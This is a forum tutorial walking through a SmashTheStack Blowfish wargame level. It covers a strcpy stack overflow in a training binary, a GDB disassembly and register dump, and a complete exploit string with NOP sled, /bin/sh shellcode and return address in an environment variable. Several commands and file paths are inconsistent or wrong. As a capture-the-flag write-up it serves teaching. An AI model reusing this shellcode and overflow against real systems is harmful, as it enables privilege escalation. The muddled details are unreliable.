[STS]Level 5 - Blowfish - iExploit Challenges

chroniccommand

Welcome to part five of my SmashTheStack blowfish guides.

Preface
In this level, we will be preforming another overflow to escalate our privileges and read from the password file. We will be going into GDB, taking apart the program, finding memory addresses, setting environment variables and so on.

Logging in
Now for the second part of this level. Logging in so we can actually exploit it and get to the next level. Let's SSH to our box. You should be familiar with this.


ssh level5@blowfish&#46;smashthestack&#46;org -p 2222
password&#58; 

     1&#46; Thou shalt NOT root or otherwise harm the box&#46;
     2&#46; Thou shalt NOT access any other network from this box&#46;
     3&#46; Thou shalt NOT use any other directory besides /tmp or /code for code&#46; 
     4&#46; Thou shalt give the root pass to l3thal if you manage to change it&#46;

     Passwords are in /pass&#46;
     There is a README in each users home directory&#46;
     /tmp && /var/tmp will be flushed daily by cron&#46;
     Use /code plz for umm, code ;D
     IF YOU LEAVE FILES IN /levels/tmp U SUCK &#46;&#46;plz remove them kthnx! ;D
     The password for the last level will get you into
     Tux, the more advanced wargame&#46; Join #blowfish on 
     irc&#46;smashthestack&#46;org with any questions&#46; 

     Admins - l3thal && cr 

     Forum&#58; http&#58;//smashthestack&#46;org/viewforum&#46;php?id=10

Last login&#58; Thu Jan 28 23&#58;09&#58;50 2010 from host-84-222-52-125&#46;cust-adsl&#46;tiscali&#46;it

 This level is another stack overflow in /levels/level5&#46;
 Exploit to get the level6 pass from /pass/level6&#46;

So another overflow. How great. CD to the /levels directory and cat level5.c
It should look like this:


#include &lt;stdio&#46;h&gt;
 
int main()
{
    char buffer&#91;1024&#93;;
 
    if (getenv(\"VULN\") == NULL) {
        fprintf(stderr,\"Try Again!!\n\");
        exit(1); 
    }
 
    strcpy(buffer, (char *)getenv(\"VULN\"));
 
    printf(\"Environment variable VULN is&#58;\n\\"%s\\"&#46;\n\n\", buffer);
    return 0;
}

So we have a buffer of 1024, and we know it's vulnerable because it's using the outdated strcpy function to copy the buffer into the address.

Analyze it
So now's the part where we take it apart, and find out our info. To take the program apart, we will be using GDB. GDB is a Unix decompiler. But before we take it apart, we need to overflow it. If we preform the technique we have been doing with Perl, you find it wont work :/ But, we can use a different technique, using Python. To preform python commands via terminal type this:

python -c &lt;code&gt;

So we are going to export the variable of VULN using Python via command line. Try this code:

&#46;/level5 export VULN=$(python -c \"print '\x90'*1040\")

Now you may be wondering what that \x90 character is. In assembler, this means NOP(No Operation), Basically meaning nothing. So we are going to export VULN to \x90(NOP) 1040 times. Now we can analyze the code.
To take it apart, type this

gdb level7

This should open up the GDB command line with ./level7
So now we take apart the main function. Type this:

disass main

It should look like this:


Dump of assembler code for function main&#58;
0x08048484 &lt;main+0&gt;&#58;    push   ebp
0x08048485 &lt;main+1&gt;&#58;    mov    ebp,esp
0x08048487 &lt;main+3&gt;&#58;    sub    esp,0x418
0x0804848d &lt;main+9&gt;&#58;    and    esp,0xfffffff0
0x08048490 &lt;main+12&gt;&#58;    mov    eax,0x0
0x08048495 &lt;main+17&gt;&#58;    sub    esp,eax
0x08048497 &lt;main+19&gt;&#58;    mov    DWORD PTR &#91;esp&#93;,0x8048640
0x0804849e &lt;main+26&gt;&#58;    call   0x8048364 &lt;getenv@plt&gt;
0x080484a3 &lt;main+31&gt;&#58;    test   eax,eax
0x080484a5 &lt;main+33&gt;&#58;    jne    0x80484c8 &lt;main+68&gt;
0x080484a7 &lt;main+35&gt;&#58;    mov    DWORD PTR &#91;esp+0x4&#93;,0x8048645
0x080484af &lt;main+43&gt;&#58;    mov    eax,ds&#58;0x804979c
0x080484b4 &lt;main+48&gt;&#58;    mov    DWORD PTR &#91;esp&#93;,eax
0x080484b7 &lt;main+51&gt;&#58;    call   0x8048354 &lt;fprintf@plt&gt;
0x080484bc &lt;main+56&gt;&#58;    mov    DWORD PTR &#91;esp&#93;,0x1
0x080484c3 &lt;main+63&gt;&#58;    call   0x8048394 &lt;exit@plt&gt;
0x080484c8 &lt;main+68&gt;&#58;    mov    DWORD PTR &#91;esp&#93;,0x8048640
0x080484cf &lt;main+75&gt;&#58;    call   0x8048364 &lt;getenv@plt&gt;
0x080484d4 &lt;main+80&gt;&#58;    mov    DWORD PTR &#91;esp+0x4&#93;,eax
0x080484d8 &lt;main+84&gt;&#58;    lea    eax,&#91;ebp-0x408&#93;
0x080484de &lt;main+90&gt;&#58;    mov    DWORD PTR &#91;esp&#93;,eax
0x080484e1 &lt;main+93&gt;&#58;    call   0x80483a4 &lt;strcpy@plt&gt;
0x080484e6 &lt;main+98&gt;&#58;    lea    eax,&#91;ebp-0x408&#93;
0x080484ec &lt;main+104&gt;&#58;    mov    DWORD PTR &#91;esp+0x4&#93;,eax
0x080484f0 &lt;main+108&gt;&#58;    mov    DWORD PTR &#91;esp&#93;,0x8048660
0x080484f7 &lt;main+115&gt;&#58;    call   0x8048384 &lt;printf@plt&gt;
0x080484fc &lt;main+120&gt;&#58;    mov    eax,0x0
0x08048501 &lt;main+125&gt;&#58;    leave  
0x08048502 &lt;main+126&gt;&#58;    ret    
End of assembler dump&#46;

If you know nothing of Assembler, this may look like nonsense to you. But if we analyze this memory address: [b]0x080484e1[/code]
We see it's the strcpy function. So this is where we will be working. Now we set a breakpoint at that address.


(gdb) break *0x080484e1
Breakpoint 1 at 0x80484e1

This is setting a breakpoint at that memory address now. Now let's take a look at the info registers.


(gdb) i r
eax            0xbfffd080    -1073753984
ecx            0x4e    78
edx            0x0    0
ebx            0x3efff4    4128756
esp            0xbfffd070    0xbfffd070
ebp            0xbfffd488    0xbfffd488
esi            0x8048510    134513936
edi            0x80483c0    134513600
eip            0x80484e1    0x80484e1 &lt;main+93&gt;
eflags         0x246    &#91; PF ZF IF &#93;
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51
(gdb)

As we can see we have the buffer's address in 0xbfffd080.
If we set up the environmetal variable to a string of 1038 bytes length we overwrite the 2 first bytes of the return
address, so we have to write our shell in 1036 bytes and after that put the buffer's address.
Use this shell code:

\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh

And then:

 export VULN=$(python -c \"print '\x90'*998 + '\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh' + '\x90\xd0\xff\xbf'\")

And boom, we should have it ;)
Read from /levels/level6 and you have the pass.

--Chroniccommand

Xin

Nice tutorial keep it up bro :)

Howdy, Stranger!

Top Posters

Who's Online (1)